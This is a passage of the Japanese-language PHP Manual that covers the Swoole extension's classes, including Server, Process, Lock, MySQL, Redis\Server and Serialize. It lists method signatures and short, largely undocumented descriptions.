public Swoole\Server::sendfile ( int $fd , string $filename , int $offset = ? ) : bool
public Swoole\Server::sendMessage ( int $worker_id , string $data ) : bool
public Swoole\Server::sendto ( string $ip , int $port , string $data , string $server_socket = ? ) : bool
public Swoole\Server::sendwait ( int $fd , string $data ) : bool
public Swoole\Server::set ( array $settings ) : ReturnType
public Swoole\Server::shutdown ( ) : void
public Swoole\Server::start ( ) : void
public Swoole\Server::stats ( ) : array
public Swoole\Server::stop ( int $worker_id = ? ) : bool
public Swoole\Server::task ( string $data , int $dst_worker_id = ? , callable $callback = ? ) : mixed
public Swoole\Server::taskwait ( string $data , float $timeout = ? , int $worker_id = ? ) : void
public Swoole\Server::taskWaitMulti ( array $tasks , double $timeout_ms = ? ) : void
public Swoole\Server::tick ( int $interval_ms , callable $callback ) : void
}

目次

  • Swoole\Http\Server::on — Bind callback function to HTTP server by event name.
  • Swoole\Http\Server::start — Start the swoole http server.

User Contributed Notes

There are no user contributed notes for this page.


Bind callback function to HTTP server by event name.

  • ≪ Swoole\Http\Server
  • Swoole\Http\Server::start ≫
  • PHP Manual
  • Swoole\Http\Server
  • Bind callback function to HTTP server by event name.

Swoole\Http\Server::on

(PECL swoole >= 1.9.0)

Swoole\Http\Server::on — Bind callback function to HTTP server by event name.

説明

public Swoole\Http\Server::on ( string $event_name , callable $callback ) : void

Bind callback function to HTTP server by event name.

パラメータ

event_name

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Start the swoole http server.

  • ≪ Swoole\Http\Server::on
  • Swoole\Lock ≫
  • PHP Manual
  • Swoole\Http\Server
  • Start the swoole http server.

Swoole\Http\Server::start

(PECL swoole >= 1.9.0)

Swoole\Http\Server::start — Start the swoole http server.

説明

public Swoole\Http\Server::start ( ) : void

Start the swoole http server.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Lock class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Lock {
/* メソッド */
public __destruct ( ) : void
public lock_read ( ) : void
public lock ( ) : void
public trylock_read ( ) : void
public trylock ( ) : void
public unlock ( ) : void
}

目次

  • Swoole\Lock::__construct — Construct a memory lock.
  • Swoole\Lock::__destruct — Destory a Swoole memory lock.
  • Swoole\Lock::lock_read — Lock a read-write lock for reading.
  • Swoole\Lock::lock — Try to acquire the lock. It will block if the lock is not available.
  • Swoole\Lock::trylock_read — Try to lock a read-write lock for reading and return straight away even the lock is not available.
  • Swoole\Lock::trylock — Try to acquire the lock and return straight away even the lock is not available.
  • Swoole\Lock::unlock — Release the lock.

User Contributed Notes

There are no user contributed notes for this page.


Construct a memory lock.

  • ≪ Swoole\Lock
  • Swoole\Lock::__destruct ≫
  • PHP Manual
  • Swoole\Lock
  • Construct a memory lock.

Swoole\Lock::__construct

(PECL swoole >= 1.9.0)

Swoole\Lock::__construct — Construct a memory lock.

説明

public Swoole\Lock::__construct ( string $type = ? , string $file_lock_location = ? )

Swoole lock is used for data synchronization between multiple theads or processes.

パラメータ

type

file_lock_location

User Contributed Notes

There are no user contributed notes for this page.


Destory a Swoole memory lock.

  • ≪ Swoole\Lock::__construct
  • Swoole\Lock::lock_read ≫
  • PHP Manual
  • Swoole\Lock
  • Destory a Swoole memory lock.

Swoole\Lock::__destruct

(PECL swoole >= 1.9.0)

Swoole\Lock::__destruct — Destory a Swoole memory lock.

説明

public Swoole\Lock::__destruct ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Lock a read-write lock for reading.

  • ≪ Swoole\Lock::__destruct
  • Swoole\Lock::lock ≫
  • PHP Manual
  • Swoole\Lock
  • Lock a read-write lock for reading.

Swoole\Lock::lock_read

(PECL swoole >= 1.9.0)

Swoole\Lock::lock_read — Lock a read-write lock for reading.

説明

public Swoole\Lock::lock_read ( ) : void

Lock a read-write lock for reading.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Try to acquire the lock. It will block if the lock is not available.

  • ≪ Swoole\Lock::lock_read
  • Swoole\Lock::trylock_read ≫
  • PHP Manual
  • Swoole\Lock
  • Try to acquire the lock. It will block if the lock is not available.

Swoole\Lock::lock

(PECL swoole >= 1.9.0)

Swoole\Lock::lock — Try to acquire the lock. It will block if the lock is not available.

説明

public Swoole\Lock::lock ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Try to lock a read-write lock for reading and return straight away even the lock is not available.

  • ≪ Swoole\Lock::lock
  • Swoole\Lock::trylock ≫
  • PHP Manual
  • Swoole\Lock
  • Try to lock a read-write lock for reading and return straight away even the lock is not available.

Swoole\Lock::trylock_read

(PECL swoole >= 1.9.0)

Swoole\Lock::trylock_read — Try to lock a read-write lock for reading and return straight away even the lock is not available.

説明

public Swoole\Lock::trylock_read ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Try to acquire the lock and return straight away even the lock is not available.

  • ≪ Swoole\Lock::trylock_read
  • Swoole\Lock::unlock ≫
  • PHP Manual
  • Swoole\Lock
  • Try to acquire the lock and return straight away even the lock is not available.

Swoole\Lock::trylock

(PECL swoole >= 1.9.0)

Swoole\Lock::trylock — Try to acquire the lock and return straight away even the lock is not available.

説明

public Swoole\Lock::trylock ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Release the lock.

  • ≪ Swoole\Lock::trylock
  • Swoole\Mmap ≫
  • PHP Manual
  • Swoole\Lock
  • Release the lock.

Swoole\Lock::unlock

(PECL swoole >= 1.9.0)

Swoole\Lock::unlock — Release the lock.

説明

public Swoole\Lock::unlock ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Mmap class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Mmap {
/* メソッド */
public static open ( string $filename , string $size = ? , string $offset = ? ) : ReturnType
}

目次

  • Swoole\Mmap::open — Map a file into memory and return the stream resource which can be used by PHP stream operations.

User Contributed Notes

There are no user contributed notes for this page.


Map a file into memory and return the stream resource which can be used by PHP stream operations.

  • ≪ Swoole\Mmap
  • Swoole\MySQL ≫
  • PHP Manual
  • Swoole\Mmap
  • Map a file into memory and return the stream resource which can be used by PHP stream operations.

Swoole\Mmap::open

(PECL swoole >= 1.9.0)

Swoole\Mmap::open — Map a file into memory and return the stream resource which can be used by PHP stream operations.

説明

public static Swoole\Mmap::open ( string $filename , string $size = ? , string $offset = ? ) : ReturnType

パラメータ

filename

size

offset

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\MySQL class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\MySQL {
/* メソッド */
public close ( ) : void
public connect ( array $server_config , callable $callback ) : void
public __destruct ( ) : void
public getBuffer ( ) : ReturnType
public on ( string $event_name , callable $callback ) : void
public query ( string $sql , callable $callback ) : ReturnType
}

目次

  • Swoole\MySQL::close — Close the async MySQL connection.
  • Swoole\MySQL::connect — Connect to the remote MySQL server.
  • Swoole\MySQL::__construct — Construct an async MySQL client.
  • Swoole\MySQL::__destruct — Destory the async MySQL client.
  • Swoole\MySQL::getBuffer — Description
  • Swoole\MySQL::on — Register callback function based on event name.
  • Swoole\MySQL::query — Run the SQL query.

User Contributed Notes

There are no user contributed notes for this page.


Close the async MySQL connection.

  • ≪ Swoole\MySQL
  • Swoole\MySQL::connect ≫
  • PHP Manual
  • Swoole\MySQL
  • Close the async MySQL connection.

Swoole\MySQL::close

(PECL swoole >= 1.9.0)

Swoole\MySQL::close — Close the async MySQL connection.

説明

public Swoole\MySQL::close ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Connect to the remote MySQL server.

  • ≪ Swoole\MySQL::close
  • Swoole\MySQL::__construct ≫
  • PHP Manual
  • Swoole\MySQL
  • Connect to the remote MySQL server.

Swoole\MySQL::connect

(PECL swoole >= 1.9.0)

Swoole\MySQL::connect — Connect to the remote MySQL server.

説明

public Swoole\MySQL::connect ( array $server_config , callable $callback ) : void

Connect to the remote MySQL server.

パラメータ

server_config

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Construct an async MySQL client.

  • ≪ Swoole\MySQL::connect
  • Swoole\MySQL::__destruct ≫
  • PHP Manual
  • Swoole\MySQL
  • Construct an async MySQL client.

Swoole\MySQL::__construct

(PECL swoole >= 1.9.0)

Swoole\MySQL::__construct — Construct an async MySQL client.

説明

public Swoole\MySQL::__construct ( )

Construct an async MySQL client.

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


Destory the async MySQL client.

  • ≪ Swoole\MySQL::__construct
  • Swoole\MySQL::getBuffer ≫
  • PHP Manual
  • Swoole\MySQL
  • Destory the async MySQL client.

Swoole\MySQL::__destruct

(PECL swoole >= 1.9.0)

Swoole\MySQL::__destruct — Destory the async MySQL client.

説明

public Swoole\MySQL::__destruct ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\MySQL::__destruct
  • Swoole\MySQL::on ≫
  • PHP Manual
  • Swoole\MySQL
  • Description

Swoole\MySQL::getBuffer

(PECL swoole >= 1.9.0)

Swoole\MySQL::getBuffer — Description

説明

public Swoole\MySQL::getBuffer ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Register callback function based on event name.

  • ≪ Swoole\MySQL::getBuffer
  • Swoole\MySQL::query ≫
  • PHP Manual
  • Swoole\MySQL
  • Register callback function based on event name.

Swoole\MySQL::on

(PECL swoole >= 1.9.0)

Swoole\MySQL::on — Register callback function based on event name.

説明

public Swoole\MySQL::on ( string $event_name , callable $callback ) : void

Register callback function based on event name, current only 'close' event is supported.

パラメータ

event_name

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


Run the SQL query.

  • ≪ Swoole\MySQL::on
  • Swoole\MySQL\Exception ≫
  • PHP Manual
  • Swoole\MySQL
  • Run the SQL query.

Swoole\MySQL::query

(PECL swoole >= 1.9.0)

Swoole\MySQL::query — Run the SQL query.

説明

public Swoole\MySQL::query ( string $sql , callable $callback ) : ReturnType

パラメータ

sql

callback

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\MySQL\Exception class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\MySQL\Exception extends Exception implements Throwable {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
}

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Process class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Process {
/* Constants */
const int IPC_NOWAIT = 256 ;
/* メソッド */
public static alarm ( int $interval_usec ) : void
public close ( ) : void
public static daemon ( bool $nochdir = ? , bool $noclose = ? ) : void
public __destruct ( ) : void
public exec ( string $exec_file , string $args ) : ReturnType
public exit ( string $exit_code = ? ) : void
public freeQueue ( ) : void
public static kill ( int $pid , string $signal_no = ? ) : void
public name ( string $process_name ) : void
public pop ( int $maxsize = ? ) : mixed
public push ( string $data ) : bool
public read ( int $maxsize = ? ) : string
public static signal ( string $signal_no , callable $callback ) : void
public start ( ) : void
public statQueue ( ) : array
public useQueue ( int $key , int $mode = ? ) : bool
public static wait ( bool $blocking = ? ) : array
public write ( string $data ) : int
}

定義済み定数

Swoole\Process::IPC_NOWAIT

目次

  • Swoole\Process::alarm — High precision timer which triggers signal with fixed interval.
  • Swoole\Process::close — Close the pipe to the child process.
  • Swoole\Process::__construct — Construct a process.
  • Swoole\Process::daemon — Change the process to be a daemon process.
  • Swoole\Process::__destruct — Destory the process.
  • Swoole\Process::exec — Execute system commands.
  • Swoole\Process::exit — Stop the child processes.
  • Swoole\Process::freeQueue — Destroy the message queue created by swoole_process::useQueue.
  • Swoole\Process::kill — Send signal to the child process.
  • Swoole\Process::name — Set name of the process.
  • Swoole\Process::pop — Read and pop data from the message queue.
  • Swoole\Process::push — Write and push data into the message queue.
  • Swoole\Process::read — Read data sending to the process.
  • Swoole\Process::signal — Send signal to the child processes.
  • Swoole\Process::start — Start the process.
  • Swoole\Process::statQueue — Get the stats of the message queue used as the communication method between processes.
  • Swoole\Process::useQueue — Create a message queue as the communication method between the parent process and child processes.
  • Swoole\Process::wait — Wait for the events of child processes.
  • Swoole\Process::write — Write data into the pipe and communicate with the parent process or child processes.

User Contributed Notes

There are no user contributed notes for this page.


High precision timer which triggers signal with fixed interval.

  • ≪ Swoole\Process
  • Swoole\Process::close ≫
  • PHP Manual
  • Swoole\Process
  • High precision timer which triggers signal with fixed interval.

Swoole\Process::alarm

(PECL swoole >= 1.9.0)

Swoole\Process::alarm — High precision timer which triggers signal with fixed interval.

説明

public static Swoole\Process::alarm ( int $interval_usec ) : void

パラメータ

interval_usec

返り値

User Contributed Notes

There are no user contributed notes for this page.


Close the pipe to the child process.

  • ≪ Swoole\Process::alarm
  • Swoole\Process::__construct ≫
  • PHP Manual
  • Swoole\Process
  • Close the pipe to the child process.

Swoole\Process::close

(PECL swoole >= 1.9.0)

Swoole\Process::close — Close the pipe to the child process.

説明

public Swoole\Process::close ( ) : void

Close the pipe to the child process.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Construct a process.

  • ≪ Swoole\Process::close
  • Swoole\Process::daemon ≫
  • PHP Manual
  • Swoole\Process
  • Construct a process.

Swoole\Process::__construct

(PECL swoole >= 1.9.0)

Swoole\Process::__construct — Construct a process.

説明

public Swoole\Process::__construct ( callable $callback , bool $redirect_stdin_and_stdout = ? , int $pipe_type = ? )

パラメータ

callback

redirect_stdin_and_stdout

pipe_type

User Contributed Notes

There are no user contributed notes for this page.


Change the process to be a daemon process.

  • ≪ Swoole\Process::__construct
  • Swoole\Process::__destruct ≫
  • PHP Manual
  • Swoole\Process
  • Change the process to be a daemon process.

Swoole\Process::daemon

(PECL swoole >= 1.9.0)

Swoole\Process::daemon — Change the process to be a daemon process.

説明

public static Swoole\Process::daemon ( bool $nochdir = ? , bool $noclose = ? ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

nochdir

noclose

返り値

User Contributed Notes

There are no user contributed notes for this page.


Destory the process.

  • ≪ Swoole\Process::daemon
  • Swoole\Process::exec ≫
  • PHP Manual
  • Swoole\Process
  • Destory the process.

Swoole\Process::__destruct

(PECL swoole >= 1.9.0)

Swoole\Process::__destruct — Destory the process.

説明

public Swoole\Process::__destruct ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Execute system commands.

  • ≪ Swoole\Process::__destruct
  • Swoole\Process::exit ≫
  • PHP Manual
  • Swoole\Process
  • Execute system commands.

Swoole\Process::exec

(PECL swoole >= 1.9.0)

Swoole\Process::exec — Execute system commands.

説明

public Swoole\Process::exec ( string $exec_file , string $args ) : ReturnType

The process will be replaced to be the system command process, but the pipe to the parent process will be kept.

パラメータ

exec_file

args

返り値

User Contributed Notes

There are no user contributed notes for this page.


Stop the child processes.

  • ≪ Swoole\Process::exec
  • Swoole\Process::freeQueue ≫
  • PHP Manual
  • Swoole\Process
  • Stop the child processes.

Swoole\Process::exit

(PECL swoole >= 1.9.0)

Swoole\Process::exit — Stop the child processes.

説明

public Swoole\Process::exit ( string $exit_code = ? ) : void

パラメータ

exit_code

返り値

User Contributed Notes

There are no user contributed notes for this page.


Destroy the message queue created by swoole_process::useQueue.

  • ≪ Swoole\Process::exit
  • Swoole\Process::kill ≫
  • PHP Manual
  • Swoole\Process
  • Destroy the message queue created by swoole_process::useQueue.

Swoole\Process::freeQueue

(PECL swoole >= 1.9.0)

Swoole\Process::freeQueue — Destroy the message queue created by swoole_process::useQueue.

説明

public Swoole\Process::freeQueue ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send signal to the child process.

  • ≪ Swoole\Process::freeQueue
  • Swoole\Process::name ≫
  • PHP Manual
  • Swoole\Process
  • Send signal to the child process.

Swoole\Process::kill

(PECL swoole >= 1.9.0)

Swoole\Process::kill — Send signal to the child process.

説明

public static Swoole\Process::kill ( int $pid , string $signal_no = ? ) : void

Send signal to the child process.

パラメータ

pid

signal_no

返り値

User Contributed Notes

There are no user contributed notes for this page.


Set name of the process.

  • ≪ Swoole\Process::kill
  • Swoole\Process::pop ≫
  • PHP Manual
  • Swoole\Process
  • Set name of the process.

Swoole\Process::name

(PECL swoole >= 1.9.0)

Swoole\Process::name — Set name of the process.

説明

public Swoole\Process::name ( string $process_name ) : void

パラメータ

process_name

返り値

User Contributed Notes

There are no user contributed notes for this page.


Read and pop data from the message queue.

  • ≪ Swoole\Process::name
  • Swoole\Process::push ≫
  • PHP Manual
  • Swoole\Process
  • Read and pop data from the message queue.

Swoole\Process::pop

(PECL swoole >= 1.9.0)

Swoole\Process::pop — Read and pop data from the message queue.

説明

public Swoole\Process::pop ( int $maxsize = ? ) : mixed

パラメータ

maxsize

返り値

User Contributed Notes

There are no user contributed notes for this page.


Write and push data into the message queue.

  • ≪ Swoole\Process::pop
  • Swoole\Process::read ≫
  • PHP Manual
  • Swoole\Process
  • Write and push data into the message queue.

Swoole\Process::push

(PECL swoole >= 1.9.0)

Swoole\Process::push — Write and push data into the message queue.

説明

public Swoole\Process::push ( string $data ) : bool

パラメータ

data

返り値

User Contributed Notes

There are no user contributed notes for this page.


Read data sending to the process.

  • ≪ Swoole\Process::push
  • Swoole\Process::signal ≫
  • PHP Manual
  • Swoole\Process
  • Read data sending to the process.

Swoole\Process::read

(PECL swoole >= 1.9.0)

Swoole\Process::read — Read data sending to the process.

説明

public Swoole\Process::read ( int $maxsize = ? ) : string

パラメータ

maxsize

返り値

User Contributed Notes

There are no user contributed notes for this page.


Send signal to the child processes.

  • ≪ Swoole\Process::read
  • Swoole\Process::start ≫
  • PHP Manual
  • Swoole\Process
  • Send signal to the child processes.

Swoole\Process::signal

(PECL swoole >= 1.9.0)

Swoole\Process::signal — Send signal to the child processes.

説明

public static Swoole\Process::signal ( string $signal_no , callable $callback ) : void

パラメータ

signal_no

callback

返り値

If signal sent successfully, it returns TRUE, otherwise it returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Start the process.

  • ≪ Swoole\Process::signal
  • Swoole\Process::statQueue ≫
  • PHP Manual
  • Swoole\Process
  • Start the process.

Swoole\Process::start

(PECL swoole >= 1.9.0)

Swoole\Process::start — Start the process.

説明

public Swoole\Process::start ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the stats of the message queue used as the communication method between processes.

  • ≪ Swoole\Process::start
  • Swoole\Process::useQueue ≫
  • PHP Manual
  • Swoole\Process
  • Get the stats of the message queue used as the communication method between processes.

Swoole\Process::statQueue

(PECL swoole >= 1.9.0)

Swoole\Process::statQueue — Get the stats of the message queue used as the communication method between processes.

説明

public Swoole\Process::statQueue ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

The array of status of the message queue.

User Contributed Notes

There are no user contributed notes for this page.


Create a message queue as the communication method between the parent process and child processes.

  • ≪ Swoole\Process::statQueue
  • Swoole\Process::wait ≫
  • PHP Manual
  • Swoole\Process
  • Create a message queue as the communication method between the parent process and child processes.

Swoole\Process::useQueue

(PECL swoole >= 1.9.0)

Swoole\Process::useQueue — Create a message queue as the communication method between the parent process and child processes.

説明

public Swoole\Process::useQueue ( int $key , int $mode = ? ) : bool

パラメータ

key

mode

返り値

User Contributed Notes

There are no user contributed notes for this page.


Wait for the events of child processes.

  • ≪ Swoole\Process::useQueue
  • Swoole\Process::write ≫
  • PHP Manual
  • Swoole\Process
  • Wait for the events of child processes.

Swoole\Process::wait

(PECL swoole >= 1.9.0)

Swoole\Process::wait — Wait for the events of child processes.

説明

public static Swoole\Process::wait ( bool $blocking = ? ) : array

パラメータ

blocking

返り値

User Contributed Notes

There are no user contributed notes for this page.


Write data into the pipe and communicate with the parent process or child processes.

  • ≪ Swoole\Process::wait
  • Swoole\Redis\Server ≫
  • PHP Manual
  • Swoole\Process
  • Write data into the pipe and communicate with the parent process or child processes.

Swoole\Process::write

(PECL swoole >= 1.9.0)

Swoole\Process::write — Write data into the pipe and communicate with the parent process or child processes.

説明

public Swoole\Process::write ( string $data ) : int

パラメータ

data

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Redis\Server class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Redis\Server extends Swoole\Server {
/* Constants */
const int NIL = 1 ;
const int ERROR = 0 ;
const int STATUS = 2 ;
const int INT = 3 ;
const int STRING = 4 ;
const int SET = 5 ;
const int MAP = 6 ;
/* メソッド */
public static format ( string $type , string $value = ? ) : ReturnType
public setHandler ( string $command , string $callback , string $number_of_string_param = ? , string $type_of_array_param = ? ) : ReturnType
public start ( ) : ReturnType
/* 継承したメソッド */
public Swoole\Server::addlistener ( string $host , int $port , string $socket_type ) : void
public Swoole\Server::addProcess ( swoole_process $process ) : bool
public Swoole\Server::after ( int $after_time_ms , callable $callback , string $param = ? ) : ReturnType
public Swoole\Server::bind ( int $fd , int $uid ) : bool
public Swoole\Server::clearTimer ( int $timer_id ) : void
swoole_timer_clear ( int $timer_id ) : void
public Swoole\Server::close ( int $fd , bool $reset = ? ) : bool
public Swoole\Server::confirm ( int $fd ) : bool
public Swoole\Server::connection_info ( int $fd , int $reactor_id = ? ) : array
public Swoole\Server::connection_list ( int $start_fd , int $pagesize = ? ) : array
public Swoole\Server::defer ( callable $callback ) : void
public Swoole\Server\Port::__destruct ( ) : void
public Swoole\Server\Port::on ( string $event_name , callable $callback ) : ReturnType
public Swoole\Server\Port::set ( array $settings ) : void
public Swoole\Server::exist ( int $fd ) : bool
public Swoole\Server::finish ( string $data ) : void
public Swoole\Server::getClientInfo ( int $fd , int $reactor_id = ? ) : ReturnType
public Swoole\Server::getClientList ( int $start_fd , int $pagesize = ? ) : array
public Swoole\Server::getLastError ( ) : int
public Swoole\Server::heartbeat ( bool $if_close_connection ) : mixed
public Swoole\Server::listen ( string $host , int $port , string $socket_type ) : bool
public Swoole\Server::on ( string $event_name , callable $callback ) : void
public Swoole\Server::pause ( int $fd ) : void
public Swoole\Server::protect ( int $fd , bool $is_protected = ? ) : void
public Swoole\Server::reload ( ) : bool
public Swoole\Server::resume ( int $fd ) : void
public Swoole\Server::send ( int $fd , string $data , int $reactor_id = ? ) : bool
public Swoole\Server::sendfile ( int $fd , string $filename , int $offset = ? ) : bool
public Swoole\Server::sendMessage ( int $worker_id , string $data ) : bool
public Swoole\Server::sendto ( string $ip , int $port , string $data , string $server_socket = ? ) : bool
public Swoole\Server::sendwait ( int $fd , string $data ) : bool
public Swoole\Server::set ( array $settings ) : ReturnType
public Swoole\Server::shutdown ( ) : void
public Swoole\Server::start ( ) : void
public Swoole\Server::stats ( ) : array
public Swoole\Server::stop ( int $worker_id = ? ) : bool
public Swoole\Server::task ( string $data , int $dst_worker_id = ? , callable $callback = ? ) : mixed
public Swoole\Server::taskwait ( string $data , float $timeout = ? , int $worker_id = ? ) : void
public Swoole\Server::taskWaitMulti ( array $tasks , double $timeout_ms = ? ) : void
public Swoole\Server::tick ( int $interval_ms , callable $callback ) : void
}

定義済み定数

Swoole\Redis\Server::NIL

Swoole\Redis\Server::ERROR

Swoole\Redis\Server::STATUS

Swoole\Redis\Server::INT

Swoole\Redis\Server::STRING

Swoole\Redis\Server::SET

Swoole\Redis\Server::MAP

目次

  • Swoole\Redis\Server::format — Description
  • Swoole\Redis\Server::setHandler — Description
  • Swoole\Redis\Server::start — Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Redis\Server
  • Swoole\Redis\Server::setHandler ≫
  • PHP Manual
  • Swoole\Redis\Server
  • Description

Swoole\Redis\Server::format

(PECL swoole >= 1.9.0)

Swoole\Redis\Server::format — Description

説明

public static Swoole\Redis\Server::format ( string $type , string $value = ? ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

type

value

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Redis\Server::format
  • Swoole\Redis\Server::start ≫
  • PHP Manual
  • Swoole\Redis\Server
  • Description

Swoole\Redis\Server::setHandler

(PECL swoole >= 1.9.0)

Swoole\Redis\Server::setHandler — Description

説明

public Swoole\Redis\Server::setHandler ( string $command , string $callback , string $number_of_string_param = ? , string $type_of_array_param = ? ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

command

callback

number_of_string_param

type_of_array_param

返り値

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Swoole\Redis\Server::setHandler
  • Swoole\Serialize ≫
  • PHP Manual
  • Swoole\Redis\Server
  • Description

Swoole\Redis\Server::start

(PECL swoole >= 1.9.0)

Swoole\Redis\Server::start — Description

説明

public Swoole\Redis\Server::start ( ) : ReturnType

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Serialize class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Serialize {
/* メソッド */
public static pack ( string $data , int $is_fast = ? ) : ReturnType
public static unpack ( string $data , string $args = ? ) : ReturnType
}

目次

  • Swoole\Serialize::pack — Serialize the data.
  • Swoole\Serialize::unpack — Unserialize the data.

User Contributed Notes

There are no user contributed notes for this page.


Serialize the data.

  • ≪ Swoole\Serialize
  • Swoole\Serialize::unpack ≫
  • PHP Manual
  • Swoole\Serialize
  • Serialize the data.

Swoole\Serialize::pack

(PECL swoole >= 1.9.0)

Swoole\Serialize::pack — Serialize the data.

説明

public static Swoole\Serialize::pack ( string $data , int $is_fast = ? ) : ReturnType

Swoole provides a fast and high performance serialization module.

パラメータ

data

is_fast

返り値

User Contributed Notes

There are no user contributed notes for this page.


Unserialize the data.

  • ≪ Swoole\Serialize::pack
  • Swoole\Server ≫
  • PHP Manual
  • Swoole\Serialize
  • Unserialize the data.

Swoole\Serialize::unpack

(PECL swoole >= 1.9.0)

Swoole\Serialize::unpack — Unserialize the data.

説明

public static Swoole\Serialize::unpack ( string $data , string $args = ? ) : ReturnType

Unserialize the data.

パラメータ

string

args

返り値

User Contributed Notes

There are no user contributed notes for this page.


The Swoole\Server class

(PECL swoole >= 1.9.0)

はじめに

クラス概要

Swoole\Server {
/* メソッド */
public addlistener ( string $host , int $port , string $socket_type ) : void
public addProcess ( swoole_process $process ) : bool
public after ( int $after_time_ms , callable $callback , string $param = ? ) : ReturnType
public bind ( int $fd , int $uid ) : bool
public clearTimer ( int $timer_id ) : void
swoole_timer_clear ( int $timer_id ) : void
public close ( int $fd , bool $reset = ? ) : bool
public confirm ( int $fd ) : bool
public connection_info ( int $fd , int $reactor_id = ? ) : array
public connection_list ( int $start_fd , int $pagesize = ? ) : array
public defer ( callable $callback ) : void
public Swoole\Server\Port::__destruct ( ) : void
public Swoole\Server\Port::on ( string $event_name , callable $callback ) : ReturnType
public Swoole\Server\Port::set ( array $settings ) : void
public exist ( int $fd ) : bool
public finish ( string $data ) : void
public getClientInfo ( int $fd , int $reactor_id = ? ) : ReturnType
public getClientList ( int $start_fd , int $pagesize = ? ) : array
public getLastError ( ) : int
public heartbeat ( bool $if_close_connection ) : mixed
public listen ( string $host , int $port , string $socket_type ) : bool
public on ( string $event_name , callable $callback ) : void
public pause ( int $fd ) : void
public protect ( int $fd , bool $is_protected = ? ) : void
public reload ( ) : bool
public resume ( int $fd ) : void
public send ( int $fd , string $data , int $reactor_id = ? ) : bool
public sendfile ( int $fd , string $filename , int $offset = ? ) : bool
public sendMessage ( int $worker_id , string $data ) : bool
public sendto ( string $ip , int $port , string $data , string $server_socket = ? ) : bool
public sendwait ( int $fd , string $data ) : bool
public set ( array $settings ) : ReturnType
public shutdown ( ) : void
public start ( ) : void
public stats ( ) : array
public stop ( int $worker_id = ? ) : bool
public task ( string $data , int $dst_worker_id = ? , callable $callback = ? ) : mixed
public taskwait ( string $data , float $timeout = ? , int $worker_id = ? ) : void
public taskWaitMulti ( array $tasks , double $timeout_ms = ? ) : void
public tick ( int $interval_ms , callable $callback ) : void
}

目次

  • Swoole\Server::addlistener — Add a new listener to the server.
  • Swoole\Server::addProcess — Add a user defined swoole_process to the server.
  • Swoole\Server::after — Trigger a callback function after a period of time.
  • Swoole\Server::bind — Bind the connection to a user defined user ID.
  • Swoole\Server::clearTimer — Stop and destory a timer.
  • Swoole\Server::close — Close a connection to the client.
  • Swoole\Server::confirm — Check status of the connection.
  • Swoole\Server::connection_info — Get the connection info by file description.
  • Swoole\Server::connection_list — Get all of the established connections.
  • Swoole\Server::__construct — Construct a Swoole server.
  • Swoole\Server::defer — Delay execution of the callback function at the end of current EventLoop.
  • Swoole\Server\Port::__construct — Construct a server port
  • Swoole\Server\Port::__destruct — Destory server port
  • Swoole\Server\Port::on — Register callback functions by event.
  • Swoole\Server\Port::set — Set protocol of the server port.
  • Swoole\Server::exist — Check if the connection is existed.
  • Swoole\Server::finish — Used in task process for sending result to the worker process when the task is finished.
  • Swoole\Server::getClientInfo — Get the connection info by file description.
  • Swoole\Server::getClientList — Get all of the established connections.
  • Swoole\Server::getLastError — Get the error code of the most recent error.
  • Swoole\Server::heartbeat — Check all the connections on the server.
  • Swoole\Server::listen — Listen on the given IP and port, socket type.
  • Swoole\Server::on — Register a callback function by event name.
